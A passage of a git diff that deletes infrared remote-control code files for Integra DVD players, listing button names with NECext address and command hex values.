00 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POP-UP_MENU -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir deleted file mode 100644 index 3f78ba42e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir +++ /dev/null @@ -1,1232 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PWR_ON-OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 04 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 04 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 04 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 05 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 05 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 06 00 00 00 -# -name: DISPLAY/NAVI -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 06 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 07 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 08 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 08 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 08 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 09 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0A 00 00 00 -# -name: RANDOM_1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0A 00 00 00 -# -name: STEP/SLOW_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: SLOW_MOTION_> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: STEP_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: SLOW+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: SLOW_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: STEP/SLOW_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: FAST_FORWARD>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: FORWARD_SEARCH -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: RR -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: FAST_REWIND<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: FAST_REWIND_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: REVERSE_SEARCH -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 11 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 13 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 15 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 16 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 17 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 18 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 18 00 00 00 -# -name: SEARCH/ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 19 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1C 00 00 00 -# -name: STOP_5.1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1C 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: CHAPTER> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: NEXT_TRACK/CHPT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: TRACK+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: CHAP_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: TRACK_> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: TRACK- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: CHAPTER< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: PREV_TRACK/CHPT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: TRACK- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: CHAP_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: TRACK_< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1F 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 44 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 45 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 45 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 46 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 48 00 00 00 -# -name: ZOOM_ON -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 48 00 00 00 -# -name: LAST_M -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 49 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 49 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4A 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4B 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4D 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4D 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4E 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4F 00 00 00 -# -name: MENU_(_DISC_) -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: C_DN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: C_LF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: C_RT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 54 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 55 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 55 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 56 00 00 00 -# -name: DNR -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 57 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 58 00 00 00 -# -name: SPEED_> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8A 00 00 00 -# -name: SPEED_< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8C 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8C 00 00 00 -# -name: STEP/SLOW_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: SLOW_MOTION_< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: STEP- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: SLOW- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: SLOW_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: STEP/SLOW_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: NEXT_SELECTION -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 90 00 00 00 -# -name: AUDIO_SEL -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 92 00 00 00 -# -name: PROGRESSIVE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 92 00 00 00 -# -name: PRORESSIVE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 92 00 00 00 -# -name: V._REMOTE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 93 00 00 00 -# -name: COND_M -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 96 00 00 00 -# -name: COND._M -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 96 00 00 00 -# -name: CONDITION_MEMORY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 96 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 96 00 00 00 -# -name: FUNCTION_M -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 97 00 00 00 -# -name: FUNCTION_MENU -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 97 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 99 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 99 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 9A 00 00 00 -# -name: STILL_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 9B 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 9B 00 00 00 -# -name: STILL_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 9C 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 9C 00 00 00 -# -name: QUICK -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 9E 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D0 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D0 00 00 00 -# -name: ZOOM+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D0 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D1 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D1 00 00 00 -# -name: ZOOM- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D1 00 00 00 -# -name: CD_MODE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D2 00 00 00 -# -name: CDPLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D2 00 00 00 -# -name: CHAIN_MODE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D2 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D3 00 00 00 -# -name: DISC+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D3 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D3 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D3 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D4 00 00 00 -# -name: DISC- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D4 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D4 00 00 00 -# -name: D1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D5 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D5 00 00 00 -# -name: DISC1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D5 00 00 00 -# -name: D2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D6 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D6 00 00 00 -# -name: DISC2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D6 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D6 00 00 00 -# -name: D3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D7 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D7 00 00 00 -# -name: DISC3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D7 00 00 00 -# -name: D4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D8 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D8 00 00 00 -# -name: DISC4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D8 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D8 00 00 00 -# -name: D5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D9 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D9 00 00 00 -# -name: DISC5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D9 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D9 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DA 00 00 00 -# -name: DISC6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DA 00 00 00 -# -name: D6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DA 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DA 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DD 00 00 00 -# -name: ASPECT/ZOOM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DE 00 00 00 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DF 00 00 00 -# -name: VID_OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir deleted file mode 100644 index 3a0022b85..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 0A 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 12 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 13 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 14 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 16 00 00 00 -# -name: FAST_REWIND -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 19 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 20 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 21 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 22 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 23 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 25 00 00 00 -# -name: TRACK_SEARCH -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 26 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 27 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 28 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 29 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 2B 00 00 00 -# -name: CURSOR -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 33 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 34 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 35 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 36 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 37 00 00 00 -# -name: RESUME_PLAY -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 38 00 00 00 -# -name: MAIN/SUB -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 39 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 41 00 00 00 -# -name: PICTURE_CONTROL -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 4C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 4D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 51 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 80 00 00 00 -# -name: 